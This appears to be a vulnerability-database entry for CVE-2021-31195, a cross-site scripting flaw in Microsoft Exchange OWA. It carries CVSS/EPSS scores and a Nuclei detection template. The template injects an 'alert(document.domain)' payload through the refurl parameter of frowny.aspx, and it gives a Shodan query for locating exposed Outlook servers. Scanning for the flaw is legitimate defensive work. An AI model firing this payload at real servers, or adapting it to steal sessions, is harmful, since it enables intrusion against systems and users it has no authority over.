6.5 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
6.2 Medium
AI Score
Confidence
High
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.924 High
EPSS
Percentile
98.9%
Microsoft Exchange Server, or OWA, is vulnerable to a cross-site scripting vulnerability in refurl parameter of frowny.asp.
id: CVE-2021-31195
info:
name: Microsoft Exchange Server - Cross-Site Scripting
author: infosecsanyam
severity: medium
description: Microsoft Exchange Server, or OWA, is vulnerable to a cross-site scripting vulnerability in refurl parameter of frowny.asp.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the user's browser, potentially leading to session hijacking, data theft, or other malicious activities.
remediation: |
Apply the latest security updates provided by Microsoft to mitigate this vulnerability.
reference:
- https://blog.orange.tw/2021/08/proxyoracle-a-new-attack-surface-on-ms-exchange-part-2.html
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195
- https://nvd.nist.gov/vuln/detail/CVE-2021-31195
- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31195
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2021-31195
cwe-id: CWE-79
epss-score: 0.92095
epss-percentile: 0.98883
cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*
metadata:
max-request: 1
vendor: microsoft
product: exchange_server
shodan-query: http.title:"Outlook"
tags: cve2021,cve,microsoft,exchange,owa,xss
http:
- method: GET
path:
- '{{BaseURL}}/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.domain)//'
matchers-condition: and
matchers:
- type: word
words:
- 'alert(document.domain)//&et=ServerError'
- 'mail/bootr.ashx'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 500
# digest: 4a0a00473045022100add3f33b9d2e9d57977208908f642566e5d796379120daba28b5ee7685d38b7702204fc9e494046fce48f88b428f7fc426ddca6906f03364c55c0ca03adc357c0660:922c64590222798bb761d5b6d8e72950
6.5 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
6.2 Medium
AI Score
Confidence
High
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.924 High
EPSS
Percentile
98.9%